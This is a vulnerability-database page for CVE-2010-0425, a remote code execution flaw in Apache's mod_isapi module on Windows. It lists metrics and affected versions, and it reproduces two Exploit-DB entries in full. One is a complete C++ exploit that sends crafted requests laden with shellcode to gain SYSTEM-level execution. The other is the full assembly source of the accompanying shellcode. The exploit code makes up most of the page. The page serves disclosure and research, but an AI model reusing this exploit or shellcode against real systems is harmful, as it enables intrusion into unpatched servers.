CVE-2010-0425 : Detail

CVE-2010-0425

97.13%V3
Network
2010-03-05
18h00 +00:00
2021-06-06
08h09 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

modules/arch/win32/mod_isapi.c in mod_isapi in the Apache HTTP Server 2.0.37 through 2.0.63, 2.2.0 through 2.2.14, and 2.3.x before 2.3.7, when running on Windows, does not ensure that request processing is complete before calling isapi_unload for an ISAPI .dll module, which allows remote attackers to execute arbitrary code via unspecified vectors related to a crafted request, a reset packet, and "orphaned callback pointers."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 11650

Publication date : 2010-03-06 23h00 +00:00
Author : Brett Gervasoni
EDB Verified : Yes

/* * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425) * ------------------------------------------------------------------------------ * * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002 * * Description: * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi. * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause * a constant DoS by looping this (since apache will automatically restart) :) * * Note that the exploit code may need to be run multiple times before a shell is spawned (70% * success rate - tested on three different systems). Furthermore, the exploit code may require * modification to exploit this vulnerability on different platforms. This is due to loaded memory * references to the unloaded DLL (they will be different for each ISAPI module). Do not test * this code in a VM otherwise the code may fail to send the RESET packet (something to do with * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want * to have to use raw packets on Windows. * * Shellcode Note: * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory. * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base * address of msvcrt.dll instead. I've also added another check so that it will be able to detect * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of * msvcrt.dll. So the added check will verify the presents of "m" before proceeding. * * Author: * Brett Gervasoni (brettg [at] senseofsecurity.com.au) * * Copyright Sense of Security Pty Ltd 2010. * http://www.senseofsecurity.com.au */ #include <iostream> #include <windows.h> #include <winsock.h> #include <string> #include <direct.h> #pragma comment(lib, "wsock32.lib") using namespace std; #define SERVER_PORT 80 void header(); int createConnection(string targetAddr, int targetPort); int sendTransmission(string message); string recvTransmission(); void cleanUp(); WORD sockVersion; WSADATA wsaData; int sock; struct sockaddr_in rserver; int main(int argc, char *argv[]) { string serverIP, isapiDLL; string triggerVuln, payload; char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299]; //custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory //Note: There are four NOPs at the end for padding. Not really needed. char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b" "\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94" "\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24" "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3" "\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1" "\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61" "\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81" "\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3" "\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b" "\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31" "\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff" "\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55" "\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e" "\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70" "\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90"; header(); if (argc < 3) { printf("usage: %s <ip> <DLL>\n", argv[0]); return 1; } serverIP = string(argv[1]); isapiDLL = string(argv[2]); //all these values could be set to 7601 + sizeof(shellcode) //but mixing it up is good. memset(accept, 'A', 170); memset(referer, 'A', 732); memset(cookie, 'A', 5375); memset(random, 'A', 7603); memset(postData, 'A', 23378); memset(footer, 'A', 298); triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n" "User-Agent: AAAAAAAA\r\n" "Pragma: no-cache\r\n" "Proxy-Connection: Keep-Alive\r\n" "Host: " + serverIP + "\r\n" "Content-Length: 40334\r\n\r\n" + string(footer); //Modify the below request if needed (depending on where your function pointer is pointing) //Do so by adding or removing headers. So if you want to hit a higher function pointer, //keep adding headers :) //Note: If performing this blindly, try it a few times, change a bit, try again. //During testing i found that using a chunk of data the same size with the same header name //was more unreliable. In memory, large amounts of nulls are being placed either side of the //payload. Since the function pointer address was random, by slightly mixing up the size of //each header i would get better results. payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n" "Accept: " + string(accept) + "\r\n" "Referer: " + string(referer) + string(shellcode) + "\r\n" "From: " + string(cookie) + string(shellcode) + "\r\n" "Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n" "Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "Cookie: " + string(cookie) + string(shellcode) + "\r\n" "Host: " + serverIP + "\r\n" "Proxy-Connection: Keep-Alive\r\n" "Okytuasd: " + string(cookie) + string(shellcode) + "\r\n" "Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n" "Asdasda: " + string(random) + string(shellcode) + "\r\n" "Sewrwefbui: " + string(random) + string(shellcode) + "\r\n" "Qdfasdernu: " + string(random) + string(shellcode) + "\r\n" "Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n" "Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n" "Content-Length: 25054\r\n\r\n" + string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer); //Setup connection if (createConnection(serverIP, SERVER_PORT) == 1) { printf("- an error occurred connecting to the server\n"); return 1; } printf("[+] Connected to %s.\n", serverIP.c_str()); printf("[+] Setting socket data structure values\n"); int iOptVal; int aiOptVal; struct linger linger_data; //This is meant to set closesocket to do a "graceful close", //however this is not the case when WSACancelBlockingCall() is called. A RESET packet is //sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent. linger_data.l_onoff = 0; linger_data.l_linger = 0; setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data)); setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data)); //Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal); getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal); printf(" - SO_LINGER value is set to %ld\n", linger_data.l_onoff); printf(" - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger); printf("[*] Triggering DLL unload\n"); sendTransmission(triggerVuln); Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent. WSACancelBlockingCall(); //Cause reset packet response Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable... closesocket(sock); Sleep(2000); WSACleanup(); Sleep(2000); printf("[+] The DLL should be unloaded by now\n"); //Reconnect to deliver payload if (createConnection(serverIP, SERVER_PORT) == 1) { printf("- an error occurred connecting to the server\n"); return 1; } printf("[*] Sending payload\n"); sendTransmission(payload); cleanUp(); printf("[+] Check to see if sos.txt was created...\n"); return 0; } void header() { printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n"); printf("-------------------------------------------------------------\n"); printf(" Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n"); printf(" Copyright Sense of Security Pty Ltd 2010.\n"); } //Setup the server int createConnection(string serverIP, int port) { int result = 0, len = 0; sockVersion = MAKEWORD(1,1); WSAStartup(sockVersion, &wsaData); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("error: socket()\n"); result = 1; } rserver.sin_family = AF_INET; rserver.sin_port = htons(port); rserver.sin_addr.s_addr = inet_addr(serverIP.c_str()); memset(&rserver.sin_zero, 0, 8); len = sizeof(struct sockaddr_in); if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1) { perror("error: connect()\n"); result = 1; } return result; } //Send a message int sendTransmission(string message) { int bytes_sent = 0; bytes_sent = send(sock, message.c_str(), message.length(), 0); if (bytes_sent < 0) { perror("error: send()\n"); exit(1); } return bytes_sent; } //Receive a message string recvTransmission() { string result; char *c = new char[1]; int bytes_recv = 0; while (c[0] != NULL) { bytes_recv = recv(sock, c, 1, 0); if (bytes_recv < 0) { perror("error: recv()\n"); //exit(1); } result += c[0]; } return result; } //Clean up the connection void cleanUp() { closesocket(sock); WSACleanup(); }
Exploit Database EDB-ID : 14288

Publication date : 2010-07-08 22h00 +00:00
Author : Brett Gervasoni
EDB Verified : Yes

; Write-to-file Shellcode ; ; This shellcode was used in the exploit for: CVE-2010-0425 ; Supported: Windows 2000, WinXP, Server 2003, Server 2008, Vista, Windows 7 ; ; Size: 278 bytes ; //////////////////////////////////////////////////////////////////////////////// ; \x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b\x7e\x20 ; \x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94\x6c\x66\x39\x0f ; \x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05 ; \x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31 ; \xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28 ; \x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01 ; \xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4 ; \x0c\x01\x66\x81\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75 ; \xde\xc3\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b ; \xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31\xd2\x58 ; \x88\x50\x05\xeb\x2d\x31\xd2\x59\x88\x51\x01\xeb\x2c\x51\x50\xff\x55\x04\xeb\x2a ; \x31\xd2\x59\x88\x51\x05\xeb\x2d\x51\x50\x89\xc6\xff\x55\x08\x53\xff\x55\x0c\xe8 ; \xd1\xff\xff\xff\x66\x2e\x74\x78\x74\x4e\xe8\xce\xff\xff\xff\x77\x4e\xe8\xcf\xff ; \xff\xff\xe8\xd1\xff\xff\xff\x70\x77\x6e\x65\x64\x4e\xe8\xce\xff\xff\xff ; //////////////////////////////////////////////////////////////////////////////// ; ; Origin: http://www.senseofsecurity.com.au ; Written by Brett Gervasoni (brettg [at] senseofsecurity.com.au) ; ; By default the shellcode will write "pwned" to a text file titled "f.txt" in ; the current working directory. ; ; Editable parameters: ; Line 228: Filename ; Be sure to update the length on line 185 ; Line 232: Access mode ; Be sure to update the length on line 193 ; Line 239: Data (text to be written) ; Be sure to update the length on line 208 [SECTION .text] global _start _start: ; if it matters what is on the stack, then allocate space - otherwise, who cares we are exiting anyway? ; save bytes by not including it... ;sub esp, 0x0c ; allocate space on the stack for funct addresses ; ======================= Find the base address of msvcrt.dll ======================= ; By checking if a entry in the InInitializationOrder list has a null byte in position ; 20 we can find the base addr of msvcrt.dll on Windows 7 and Vista. ; "msvcrt.dll" is equal to 10 bytes, so in unicode, its 20 bytes long. ; kernel32.dll can be found in a similar fashion. "kernel32.dll" is 12 bytes long though. ; on WinXP the InInitializationOrder list is as follows: ntdll.dll, kernel32.dll, msvcrt.dll ; On Windows Server 2003, msvcrt.dll is in position 5 and before this dll is checked, RPCRT4.dll ; is checked. Which matches the length of msvcrt.dll, as a result the base address of RPCRT4.dll ; is used. Obviously this is no good. To solve this problem i made the shellcode check for the ; presents of 'm' in position 0 as well . xor eax, eax ; make sure it is 0 xor ecx, ecx ; ECX = 0 mov esi, [fs:ecx+0x30] ; ESI = &(PEB) ([FS:0x30]) mov esi, [esi+0x0c] ; ESI = PEB->Ldr mov esi, [esi+0x1c] ; ESI = PEB->Ldr.InInitOrder NextModule: mov edx, [esi+0x08] ; EDX = InInitOrder[X].base_address mov edi, [esi+0x20] ; EDX = InInitOrder[X].module_name (unicode) mov esi, [esi] ; ESI = InInitOrder[X].flink (next module) cmp [edi+10*2], cx ; modulename[12] == 0 ? jne NextModule ; No: try next module. ; extra check to find msvcrt.dll mov cx, 0x6d01 ; m = 0x6d sub cx, 0x6c94 ; result is 0x6d (m) cmp [edi], cx ; modulename[0] == m ? mov cx, ax jne NextModule ; base address of msvcrt.dll is now in edx ; update ebp mov ebp, esp jmp short GetHashesSpring ; using a spring to avoid null bytes ; ======================= FUNCTIONS ======================= ; Export Directory Table method find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd add edi, eax jmp short compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad ret ResolveSymbolsForDLL: lodsd push eax ; push hashes for find_function push edx call find_function mov [edi], eax ; save found function address ;add sp, 0x08 add sp, 0x10c ; + 268 sub sp, 0x104 ; - 260 = 8 ;add di, 0x04 ; increment edi by 4 (due to function address being saved) add di, 0x108 ; + 264 sub di, 0x104 ; - 260 = 4 cmp esi, ecx ; check if esi meets length of hash list jne ResolveSymbolsForDLL ResolveSymbolsForDLLComplete: ret ; ====================== / FUNCTIONS ====================== GetHashesSpring: jmp short GetHashes ; using a spring to avoid null bytes HashesReturn: pop esi lea edi, [ebp + 0x04] mov ecx, esi add cl, 0x0c ; length of function hash list call ResolveSymbolsForDLL jmp short GetFilename GetHashes: call HashesReturn ; msvcrt.dll hash list ; fopen hash = 0x6E7C2EE1 db 0x6E db 0x7C db 0x2E db 0xE1 ; fprintf hash = 0x1E3C3FD7 db 0x1E db 0x3C db 0x3F db 0xD7 ; since the message is small, no need to worry about closing the file ; keep the shellcode smaller that way. ; exit hash = 0x741E48CD db 0x74 db 0x1E db 0x48 db 0xCD GetFilenameReturn: xor edx, edx ; zero out a reg for nulls pop eax ; f.txt mov [eax+5], dl ; insert a null byte, 'f.txt' jmp short GetFileMode GetFileModeReturn: xor edx, edx ; zero out a reg for nulls pop ecx ; w mov [ecx+1], dl ; insert a null byte, 'w' jmp short GetfopenCall ; Now jump to fopen call fopenCall: push ecx ; 'w' push eax ; push 'f.txt' call [ebp+4]; call fopen jmp short GetfprintfData GetfprintfDataReturn: xor edx, edx ; zero out a reg for a null pop ecx ; push data string mov [ecx+5], dl ; insert a null byte jmp short GetfprintfCall fprintfCall: push ecx ; data push eax ; handle mov esi, eax ; we want to keep the handle for close call [ebp+8] ; call fprintf ; It needs to either exit, or call fclose to write the buffer to file. ExitProcessCall: push ebx ; ebx has 00004000 in it - who cares what we give exit? call [ebp+0x0c] ; exit GetFilename: call GetFilenameReturn db 'f.txtN' ; filename GetFileMode: call GetFileModeReturn db 'wN' ; file access mode GetfopenCall: call fopenCall GetfprintfData: call GetfprintfDataReturn db 'pwnedN' ; data to be written to file GetfprintfCall: call fprintfCall

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version 2.3.0

Apache>>Http_server >> Version 2.3.1

Apache>>Http_server >> Version 2.3.2

Apache>>Http_server >> Version 2.3.3

Apache>>Http_server >> Version 2.3.4

Apache>>Http_server >> Version 2.3.5

Apache>>Http_server >> Version 2.3.6

Microsoft>>Windows >> Version *

Configuraton 0

Apache>>Http_server >> Version 2.0.9

Apache>>Http_server >> Version 2.0.28

Apache>>Http_server >> Version 2.0.28

Apache>>Http_server >> Version 2.0.32

Apache>>Http_server >> Version 2.0.32

Apache>>Http_server >> Version 2.0.34

Apache>>Http_server >> Version 2.0.35

Apache>>Http_server >> Version 2.0.36

Apache>>Http_server >> Version 2.0.37

Apache>>Http_server >> Version 2.0.38

Apache>>Http_server >> Version 2.0.39

Apache>>Http_server >> Version 2.0.40

Apache>>Http_server >> Version 2.0.41

Apache>>Http_server >> Version 2.0.42

Apache>>Http_server >> Version 2.0.43

Apache>>Http_server >> Version 2.0.44

Apache>>Http_server >> Version 2.0.45

Apache>>Http_server >> Version 2.0.46

Apache>>Http_server >> Version 2.0.47

Apache>>Http_server >> Version 2.0.48

Apache>>Http_server >> Version 2.0.49

Apache>>Http_server >> Version 2.0.50

Apache>>Http_server >> Version 2.0.51

Apache>>Http_server >> Version 2.0.52

Apache>>Http_server >> Version 2.0.53

Apache>>Http_server >> Version 2.0.54

Apache>>Http_server >> Version 2.0.55

Apache>>Http_server >> Version 2.0.56

Apache>>Http_server >> Version 2.0.57

Apache>>Http_server >> Version 2.0.58

Apache>>Http_server >> Version 2.0.59

Apache>>Http_server >> Version 2.0.60

Apache>>Http_server >> Version 2.0.61

Apache>>Http_server >> Version 2.0.63

Microsoft>>Windows >> Version *

Configuraton 0

Apache>>Http_server >> Version -

Apache>>Http_server >> Version 2.2.0

Apache>>Http_server >> Version 2.2.1

Apache>>Http_server >> Version 2.2.2

Apache>>Http_server >> Version 2.2.3

Apache>>Http_server >> Version 2.2.4

Apache>>Http_server >> Version 2.2.6

Apache>>Http_server >> Version 2.2.7

Apache>>Http_server >> Version 2.2.8

Apache>>Http_server >> Version 2.2.9

Apache>>Http_server >> Version 2.2.10

Apache>>Http_server >> Version 2.2.11

Apache>>Http_server >> Version 2.2.12

Apache>>Http_server >> Version 2.2.13

Apache>>Http_server >> Version 2.2.14

Microsoft>>Windows >> Version *

References

http://secunia.com/advisories/39628
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/0634
Tags : vdb-entry, x_refsource_VUPEN
http://www-01.ibm.com/support/docview.wss?uid=swg1PM12247
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.securitytracker.com/id?1023701
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/38494
Tags : vdb-entry, x_refsource_BID
http://www-01.ibm.com/support/docview.wss?uid=swg1PM09447
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.kb.cert.org/vuls/id/280613
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/38978
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/0994
Tags : vdb-entry, x_refsource_VUPEN